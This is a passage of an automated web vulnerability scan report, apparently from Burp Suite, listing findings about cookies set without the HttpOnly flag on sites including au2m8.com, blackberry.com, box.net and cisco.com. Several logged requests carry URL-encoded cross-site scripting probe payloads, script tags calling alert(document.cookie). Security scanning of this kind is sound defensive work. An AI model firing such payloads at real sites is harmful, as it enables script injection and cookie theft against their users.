Cookie: countryID=us; ARPT=NQJKKYS192.168.100.219CKOWU; bpl1297012232=1297008632; bpl1297012271=1297008671; bpl1297012287=1297008687; bpl1297012302=1297008702; bpl1297012317=1297008717; bpl1297012335=1297008735; bpl1297012351=1297008751; bpl1297012352=1297008752; bpl1297012366=1297008766; bpl1297012367=1297008767; bpl1297012383=1297008783; bpl1297012398=1297008798; bpl1297012414=1297008814; bpl1297012429=1297008829; bpl1297012444=1297008844; bpl1297012486=1297008886; bpl1297012502=1297008902; bpl1297012517=1297008917; bpl1297012532=1297008932; bpl1297012533=1297008933; bpl1297012548=1297008948; bpl1297012549=1297008949; videoID=expired; auto=expired; playlist=5731%2C4881; j2playlist=5731

Response

15.421. http://www.au2m8.com/v/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.au2m8.com
Path:	/v/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

bpl1297014707=1297011107; expires=Sun, 06-Feb-2011 17:51:47 GMT; path=/; domain=.au2m8.com
videoID=expired; expires=Sun, 06-Feb-2011 17:51:47 GMT; path=/; domain=.au2m8.com
auto=expired; expires=Sun, 06-Feb-2011 17:51:47 GMT; path=/; domain=.au2m8.com
playlist=5731%2C4881; expires=Tue, 08-Feb-2011 16:51:47 GMT; path=/; domain=.au2m8.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /v/?ps=26&cw=47379&pID=11909&skinName=light&t=484711&pr=www.kledy.co.uk%2F&psource=www.kledy.co.uk%2F&poR=http%3A%2F%2Fburp%2Fshow%2F64&poS=http%3A%2F%2Fwww.kledy.co.uk%2F%3Fb6885%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253E58b3310da99%3D1&jr=1&jr=2&jr=3&jr=4 HTTP/1.1
Host: www.au2m8.com
Proxy-Connection: keep-alive
Referer: http://www.au2m8.com/v/?ps=26&cw=47379&pID=11909&skinName=light&t=484711&pr=www.kledy.co.uk%2F&psource=www.kledy.co.uk%2F&poR=http%3A%2F%2Fburp%2Fshow%2F64&poS=http%3A%2F%2Fwww.kledy.co.uk%2F%3Fb6885%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253E58b3310da99%3D1&jr=1&jr=2&jr=3
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: countryID=us; ARPT=NQJKKYS192.168.100.219CKOWU; bpl1297012232=1297008632; bpl1297012271=1297008671; bpl1297012287=1297008687; bpl1297012302=1297008702; bpl1297012317=1297008717; videoID=expired; auto=expired; playlist=5731%2C4881; j2playlist=5731

Response

15.422. http://www.au2m8.com/v/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.au2m8.com
Path:	/v/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

bpl1297012287=1297008687; expires=Sun, 06-Feb-2011 17:11:27 GMT; path=/; domain=.au2m8.com
videoID=expired; expires=Sun, 06-Feb-2011 17:11:27 GMT; path=/; domain=.au2m8.com
auto=expired; expires=Sun, 06-Feb-2011 17:11:27 GMT; path=/; domain=.au2m8.com
playlist=5731%2C4881; expires=Tue, 08-Feb-2011 16:11:27 GMT; path=/; domain=.au2m8.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /v/?ps=26&cw=47379&pID=11909&skinName=light&t=484711&pr=www.kledy.co.uk%2F&psource=www.kledy.co.uk%2F&poR=http%3A%2F%2Fburp%2Fshow%2F64&poS=http%3A%2F%2Fwww.kledy.co.uk%2F%3Fb6885%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253E58b3310da99%3D1&jr=1 HTTP/1.1
Host: www.au2m8.com
Proxy-Connection: keep-alive
Referer: http://www.au2m8.com/v/?ps=26&cw=47379&pID=11909&skinName=light&t=484711&pr=www.kledy.co.uk%2F&psource=www.kledy.co.uk%2F&poR=http%3A%2F%2Fburp%2Fshow%2F64&poS=http%3A%2F%2Fwww.kledy.co.uk%2F%3Fb6885%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253E58b3310da99%3D1
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: countryID=us; ARPT=NQJKKYS192.168.100.219CKOWU; bpl1297012232=1297008632; bpl1297012271=1297008671; videoID=expired; auto=expired; playlist=5731%2C4881; j2playlist=5731

Response

15.423. http://www.au2m8.com/v/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.au2m8.com
Path:	/v/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

bpl1297012636=1297009036; expires=Sun, 06-Feb-2011 17:17:16 GMT; path=/; domain=.au2m8.com
videoID=expired; expires=Sun, 06-Feb-2011 17:17:16 GMT; path=/; domain=.au2m8.com
auto=expired; expires=Sun, 06-Feb-2011 17:17:16 GMT; path=/; domain=.au2m8.com
playlist=5731%2C4881; expires=Tue, 08-Feb-2011 16:17:16 GMT; path=/; domain=.au2m8.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /v/?ps=26&cw=39927&pID=11909&skinName=light&t=62092&pr=www.kledy.us%2F&psource=www.kledy.us%2F&poR=http%3A%2F%2Fburp%2Fshow%2F68&poS=http%3A%2F%2Fwww.kledy.us%2F%3F88099%2522%253E%253Cscript%253Ealert(String.fromCharCode(88%2C83%2C83))%253C%2Fscript%253E31a8b6ec06f%3D1&jr=1&jr=2&jr=3&jr=4 HTTP/1.1
Host: www.au2m8.com
Proxy-Connection: keep-alive
Referer: http://www.au2m8.com/v/?ps=26&cw=39927&pID=11909&skinName=light&t=62092&pr=www.kledy.us%2F&psource=www.kledy.us%2F&poR=http%3A%2F%2Fburp%2Fshow%2F68&poS=http%3A%2F%2Fwww.kledy.us%2F%3F88099%2522%253E%253Cscript%253Ealert(String.fromCharCode(88%2C83%2C83))%253C%2Fscript%253E31a8b6ec06f%3D1&jr=1&jr=2&jr=3
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: countryID=us; ARPT=NQJKKYS192.168.100.219CKOWU; bpl1297012232=1297008632; bpl1297012271=1297008671; bpl1297012287=1297008687; bpl1297012302=1297008702; bpl1297012317=1297008717; bpl1297012335=1297008735; bpl1297012351=1297008751; bpl1297012352=1297008752; bpl1297012366=1297008766; bpl1297012367=1297008767; bpl1297012383=1297008783; bpl1297012398=1297008798; bpl1297012414=1297008814; bpl1297012429=1297008829; bpl1297012444=1297008844; bpl1297012486=1297008886; bpl1297012502=1297008902; bpl1297012517=1297008917; bpl1297012532=1297008932; bpl1297012533=1297008933; bpl1297012548=1297008948; bpl1297012549=1297008949; bpl1297012563=1297008963; bpl1297012564=1297008964; bpl1297012569=1297008969; bpl1297012579=1297008979; bpl1297012585=1297008985; bpl1297012595=1297008995; bpl1297012601=1297009001; bpl1297012610=1297009010; bpl1297012620=1297009020; bpl1297012626=1297009026; videoID=expired; auto=expired; playlist=5731%2C4881; j2playlist=5731

Response

15.424. http://www.au2m8.com/v/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.au2m8.com
Path:	/v/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

bpl1297012667=1297009067; expires=Sun, 06-Feb-2011 17:17:47 GMT; path=/; domain=.au2m8.com
videoID=expired; expires=Sun, 06-Feb-2011 17:17:47 GMT; path=/; domain=.au2m8.com
auto=expired; expires=Sun, 06-Feb-2011 17:17:47 GMT; path=/; domain=.au2m8.com
playlist=5731%2C4881; expires=Tue, 08-Feb-2011 16:17:47 GMT; path=/; domain=.au2m8.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /v/?ps=26&cw=39927&pID=11909&skinName=light&t=62092&pr=www.kledy.us%2F&psource=www.kledy.us%2F&poR=http%3A%2F%2Fburp%2Fshow%2F68&poS=http%3A%2F%2Fwww.kledy.us%2F%3F88099%2522%253E%253Cscript%253Ealert(String.fromCharCode(88%2C83%2C83))%253C%2Fscript%253E31a8b6ec06f%3D1&jr=1&jr=2&jr=3&jr=4&jr=5&jr=6 HTTP/1.1
Host: www.au2m8.com
Proxy-Connection: keep-alive
Referer: http://www.au2m8.com/v/?ps=26&cw=39927&pID=11909&skinName=light&t=62092&pr=www.kledy.us%2F&psource=www.kledy.us%2F&poR=http%3A%2F%2Fburp%2Fshow%2F68&poS=http%3A%2F%2Fwww.kledy.us%2F%3F88099%2522%253E%253Cscript%253Ealert(String.fromCharCode(88%2C83%2C83))%253C%2Fscript%253E31a8b6ec06f%3D1&jr=1&jr=2&jr=3&jr=4&jr=5
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: countryID=us; ARPT=NQJKKYS192.168.100.219CKOWU; bpl1297012232=1297008632; bpl1297012271=1297008671; bpl1297012287=1297008687; bpl1297012302=1297008702; bpl1297012317=1297008717; bpl1297012335=1297008735; bpl1297012351=1297008751; bpl1297012352=1297008752; bpl1297012366=1297008766; bpl1297012367=1297008767; bpl1297012383=1297008783; bpl1297012398=1297008798; bpl1297012414=1297008814; bpl1297012429=1297008829; bpl1297012444=1297008844; bpl1297012486=1297008886; bpl1297012502=1297008902; bpl1297012517=1297008917; bpl1297012532=1297008932; bpl1297012533=1297008933; bpl1297012548=1297008948; bpl1297012549=1297008949; bpl1297012563=1297008963; bpl1297012564=1297008964; bpl1297012569=1297008969; bpl1297012579=1297008979; bpl1297012585=1297008985; bpl1297012595=1297008995; bpl1297012601=1297009001; bpl1297012610=1297009010; bpl1297012620=1297009020; bpl1297012626=1297009026; bpl1297012636=1297009036; bpl1297012651=1297009051; videoID=expired; auto=expired; playlist=5731%2C4881; j2playlist=5731

Response

15.425. http://www.au2m8.com/v/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.au2m8.com
Path:	/v/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

bpl1297018546=1297014946; expires=Sun, 06-Feb-2011 18:55:46 GMT; path=/; domain=.au2m8.com
videoID=expired; expires=Sun, 06-Feb-2011 18:55:46 GMT; path=/; domain=.au2m8.com
auto=expired; expires=Sun, 06-Feb-2011 18:55:46 GMT; path=/; domain=.au2m8.com
playlist=5731%2C4881; expires=Tue, 08-Feb-2011 17:55:46 GMT; path=/; domain=.au2m8.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /v/?ps=26&cw=328795&pID=11909&skinName=light&pw=350&ph=250&wmode=window&t=370468&pr=www.peppernews.eu%2F&psource=www.peppernews.eu%2F&poR=http%3A%2F%2Fburp%2Fshow%2F97&poS=http%3A%2F%2Fwww.peppernews.eu%2F%3Fd7d65%2522%253E%253Cscript%253Ealert(String.fromCharCode(88%2C83%2C83))%253C%2Fscript%253Ef6336f06cd4%3D1&jr=1&jr=2&jr=3&jr=4&jr=5&jr=6 HTTP/1.1
Host: www.au2m8.com
Proxy-Connection: keep-alive
Referer: http://www.au2m8.com/v/?ps=26&cw=328795&pID=11909&skinName=light&pw=350&ph=250&wmode=window&t=370468&pr=www.peppernews.eu%2F&psource=www.peppernews.eu%2F&poR=http%3A%2F%2Fburp%2Fshow%2F97&poS=http%3A%2F%2Fwww.peppernews.eu%2F%3Fd7d65%2522%253E%253Cscript%253Ealert(String.fromCharCode(88%2C83%2C83))%253C%2Fscript%253Ef6336f06cd4%3D1&jr=1&jr=2&jr=3&jr=4&jr=5
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: countryID=us; ARPT=NQJKKYS192.168.100.219CKOWU; bpl1297012636=1297009036; bpl1297012651=1297009051; bpl1297012667=1297009067; bpl1297016038=1297012438; bpl1297016059=1297012459; bpl1297016091=1297012491; bpl1297016107=1297012507; bpl1297016122=1297012522; bpl1297016139=1297012539; bpl1297016155=1297012555; bpl1297016170=1297012570; videoID=expired; auto=expired; playlist=5731%2C4881; j2playlist=5731

Response

15.426. http://www.au2m8.com/v/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.au2m8.com
Path:	/v/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

bpl1297014663=1297011063; expires=Sun, 06-Feb-2011 17:51:03 GMT; path=/; domain=.au2m8.com
videoID=expired; expires=Sun, 06-Feb-2011 17:51:03 GMT; path=/; domain=.au2m8.com
auto=expired; expires=Sun, 06-Feb-2011 17:51:03 GMT; path=/; domain=.au2m8.com
playlist=5731%2C4881; expires=Tue, 08-Feb-2011 16:51:03 GMT; path=/; domain=.au2m8.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /v/?ps=26&cw=47379&pID=11909&skinName=light&t=484711&pr=www.kledy.co.uk%2F&psource=www.kledy.co.uk%2F&poR=http%3A%2F%2Fburp%2Fshow%2F64&poS=http%3A%2F%2Fwww.kledy.co.uk%2F%3Fb6885%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253E58b3310da99%3D1&jr=1 HTTP/1.1
Host: www.au2m8.com
Proxy-Connection: keep-alive
Referer: http://www.au2m8.com/v/?ps=26&cw=47379&pID=11909&skinName=light&t=484711&pr=www.kledy.co.uk%2F&psource=www.kledy.co.uk%2F&poR=http%3A%2F%2Fburp%2Fshow%2F64&poS=http%3A%2F%2Fwww.kledy.co.uk%2F%3Fb6885%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253E58b3310da99%3D1
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: countryID=us; ARPT=NQJKKYS192.168.100.219CKOWU; bpl1297012232=1297008632; bpl1297012271=1297008671; videoID=expired; auto=expired; playlist=5731%2C4881; j2playlist=5731

Response

15.427. http://www.au2m8.com/v/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.au2m8.com
Path:	/v/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

bpl1297014762=1297011162; expires=Sun, 06-Feb-2011 17:52:42 GMT; path=/; domain=.au2m8.com
videoID=expired; expires=Sun, 06-Feb-2011 17:52:42 GMT; path=/; domain=.au2m8.com
auto=expired; expires=Sun, 06-Feb-2011 17:52:42 GMT; path=/; domain=.au2m8.com
playlist=5731%2C4881; expires=Tue, 08-Feb-2011 16:52:42 GMT; path=/; domain=.au2m8.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /v/?ps=26&cw=47865&pID=11909&skinName=light&t=620692&pr=www.kledy.es%2F&psource=www.kledy.es%2F&poR=http%3A%2F%2Fburp%2Fshow%2F65&poS=http%3A%2F%2Fwww.kledy.es%2F%3Fbc891%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253E5d09625540c%3D1&jr=1 HTTP/1.1
Host: www.au2m8.com
Proxy-Connection: keep-alive
Referer: http://www.au2m8.com/v/?ps=26&cw=47865&pID=11909&skinName=light&t=620692&pr=www.kledy.es%2F&psource=www.kledy.es%2F&poR=http%3A%2F%2Fburp%2Fshow%2F65&poS=http%3A%2F%2Fwww.kledy.es%2F%3Fbc891%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253E5d09625540c%3D1
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: countryID=us; ARPT=NQJKKYS192.168.100.219CKOWU; bpl1297012232=1297008632; bpl1297012271=1297008671; bpl1297012287=1297008687; bpl1297012302=1297008702; bpl1297012317=1297008717; bpl1297012335=1297008735; bpl1297012351=1297008751; bpl1297012352=1297008752; bpl1297012366=1297008766; videoID=expired; auto=expired; playlist=5731%2C4881; j2playlist=5731

Response

15.428. http://www.au2m8.com/v/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.au2m8.com
Path:	/v/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

bpl1297012548=1297008948; expires=Sun, 06-Feb-2011 17:15:48 GMT; path=/; domain=.au2m8.com
videoID=expired; expires=Sun, 06-Feb-2011 17:15:48 GMT; path=/; domain=.au2m8.com
auto=expired; expires=Sun, 06-Feb-2011 17:15:48 GMT; path=/; domain=.au2m8.com
playlist=5731%2C4881; expires=Tue, 08-Feb-2011 16:15:48 GMT; path=/; domain=.au2m8.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /v/?ps=26&cw=133331&pID=11909&skinName=light&wmode=window&t=106011&pr=www.kledy.eu%2F&psource=www.kledy.eu%2F&poR=http%3A%2F%2Fburp%2Fshow%2F66&poS=http%3A%2F%2Fwww.kledy.eu%2F%3Ff0d30%2522%253E%253Cscript%253Ealert(String.fromCharCode(88%2C83%2C83))%253C%2Fscript%253E31ed3e6c6d3%3D1&jr=1&jr=2&jr=3&jr=4 HTTP/1.1
Host: www.au2m8.com
Proxy-Connection: keep-alive
Referer: http://www.au2m8.com/v/?ps=26&cw=133331&pID=11909&skinName=light&wmode=window&t=106011&pr=www.kledy.eu%2F&psource=www.kledy.eu%2F&poR=http%3A%2F%2Fburp%2Fshow%2F66&poS=http%3A%2F%2Fwww.kledy.eu%2F%3Ff0d30%2522%253E%253Cscript%253Ealert(String.fromCharCode(88%2C83%2C83))%253C%2Fscript%253E31ed3e6c6d3%3D1&jr=1&jr=2&jr=3
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: countryID=us; ARPT=NQJKKYS192.168.100.219CKOWU; bpl1297012232=1297008632; bpl1297012271=1297008671; bpl1297012287=1297008687; bpl1297012302=1297008702; bpl1297012317=1297008717; bpl1297012335=1297008735; bpl1297012351=1297008751; bpl1297012352=1297008752; bpl1297012366=1297008766; bpl1297012367=1297008767; bpl1297012383=1297008783; bpl1297012398=1297008798; bpl1297012414=1297008814; bpl1297012429=1297008829; bpl1297012444=1297008844; bpl1297012486=1297008886; bpl1297012502=1297008902; bpl1297012517=1297008917; bpl1297012532=1297008932; bpl1297012533=1297008933; videoID=expired; auto=expired; playlist=5731%2C4881; j2playlist=5731

Response

15.429. http://www.au2m8.com/v/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.au2m8.com
Path:	/v/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

bpl1296950982=1296947382; expires=Sun, 06-Feb-2011 00:09:42 GMT; path=/; domain=.au2m8.com
videoID=expired; expires=Sun, 06-Feb-2011 00:09:42 GMT; path=/; domain=.au2m8.com
auto=expired; expires=Sun, 06-Feb-2011 00:09:42 GMT; path=/; domain=.au2m8.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

15.430. http://www.au2m8.com/v/index.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.au2m8.com
Path:	/v/index.php

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

bpl1297016479=1297012879; expires=Sun, 06-Feb-2011 18:21:19 GMT; path=/; domain=.au2m8.com
videoID=expired; expires=Sun, 06-Feb-2011 18:21:19 GMT; path=/; domain=.au2m8.com
auto=expired; expires=Sun, 06-Feb-2011 18:21:19 GMT; path=/; domain=.au2m8.com
playlist=5731%2C4881; expires=Tue, 08-Feb-2011 17:21:19 GMT; path=/; domain=.au2m8.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

15.431. http://www.au2m8.com/v/index.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.au2m8.com
Path:	/v/index.php

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

bpl1297011707=1297008107; expires=Sun, 06-Feb-2011 17:01:47 GMT; path=/; domain=.au2m8.com
videoID=expired; expires=Sun, 06-Feb-2011 17:01:47 GMT; path=/; domain=.au2m8.com
auto=expired; expires=Sun, 06-Feb-2011 17:01:47 GMT; path=/; domain=.au2m8.com
playlist=5731%2C4881; expires=Tue, 08-Feb-2011 16:01:47 GMT; path=/; domain=.au2m8.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:01:47 GMT
Server: Apache
X-Powered-By: PHP/5.2.14
Cache-Control: max-age=0, no-cache, must-revalidate, proxy-revalidate, s-maxage=0
Expires: Sun, 06 Feb 2011 16:01:47 GMT
Last-Modified: Sun, 06 Feb 2011 16:01:47 GMT
Set-Cookie: bpl1297011707=1297008107; expires=Sun, 06-Feb-2011 17:01:47 GMT; path=/; domain=.au2m8.com
Set-Cookie: videoID=expired; expires=Sun, 06-Feb-2011 17:01:47 GMT; path=/; domain=.au2m8.com
Set-Cookie: auto=expired; expires=Sun, 06-Feb-2011 17:01:47 GMT; path=/; domain=.au2m8.com
Set-Cookie: playlist=5731%2C4881; expires=Tue, 08-Feb-2011 16:01:47 GMT; path=/; domain=.au2m8.com
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 12782

...<html>
    <head>
    <meat http-equiv="Expires" CONTENT="Sun, 06 Feb 2011 16:01:47 GMT">
    <title>Facebook Tutorial </title>
    <style type='text/css'>
    <!--

...[SNIP]...

15.432. https://www.blackberry.com/partnerzone/Forward.action previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.blackberry.com
Path:	/partnerzone/Forward.action

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

BIGipServerPlateau58_80=611926282.20480.0000; path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /partnerzone/Forward.action HTTP/1.1
Host: www.blackberry.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

15.433. https://www.blackberry.com/partnerzone/Login.action previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.blackberry.com
Path:	/partnerzone/Login.action

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

BIGipServerPlateau58_80=611926282.20480.0000; path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /partnerzone/Login.action HTTP/1.1
Host: www.blackberry.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.blackvoices.com
Path:	/$\|http:/latino.aol.com/$\|.ivillage.com.*/1\|www.ivillage.com/(celeb-news\|entertainment-photos\|tv\|for-kids\|video\|entertainment\|movies\|food\|recipes\|table-talk\|food-for-kids\|food-advice\|food-news\|food-video

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

dcisid=3244834828.3642051917.848365056; path=/
bandType=broadband;DOMAIN=.aol.com;PATH=/;

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /$|http:/latino.aol.com/$|.ivillage.com.*/1|www.ivillage.com/(celeb-news|entertainment-photos|tv|for-kids|video|entertainment|movies|food|recipes|table-talk|food-for-kids|food-advice|food-news|food-video HTTP/1.1
Host: www.blackvoices.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

15.435. https://www.box.net/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.box.net
Path:	/

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

box_visitor_id=4d4dd6cd8da802.39031593; expires=Sun, 05-Feb-2012 23:01:33 GMT; path=/; domain=.box.net

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET / HTTP/1.1
Host: www.box.net
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

15.436. http://www.care2.com/news/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.care2.com
Path:	/news/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

c2_user_state=2e06b74f7f7f35836bd0e7829d266d5d%3A0; path=/; domain=.care2.com
c2_user_state=fae849c0ec8c397c2e99daf88feb2588%3A0; path=/; domain=.care2.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /news/ HTTP/1.1
Host: www.care2.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

15.437. http://www.cisco.com/ipj/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.cisco.com
Path:	/ipj/

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

CP_GUTC=72.163.4.167.1296942825278234; path=/; expires=Wed, 30-Jan-36 21:53:45 GMT; domain=.cisco.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /ipj/ HTTP/1.1
Host: www.cisco.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

15.438. http://www.cisco.com/warp/public/707/newsflash.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.cisco.com
Path:	/warp/public/707/newsflash.html

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

CP_GUTC=72.163.4.169.1296942779477277; path=/; expires=Wed, 30-Jan-36 21:52:59 GMT; domain=.cisco.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /warp/public/707/newsflash.html HTTP/1.1
Host: www.cisco.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

15.439. http://www.codero.com/dedicated-server-hosting/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.codero.com
Path:	/dedicated-server-hosting/

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

symfony=69t92pf2qb6ovl835qo7ab8jd4; path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /dedicated-server-hosting/ HTTP/1.1
Host: www.codero.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

15.440. http://www.digitalia.be/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.digitalia.be
Path:	/

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

60gp=R513161254; path=/; expires=Tue, 08-Feb-2011 09:53:22 GMT

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET / HTTP/1.1
Host: www.digitalia.be
Accept: */*
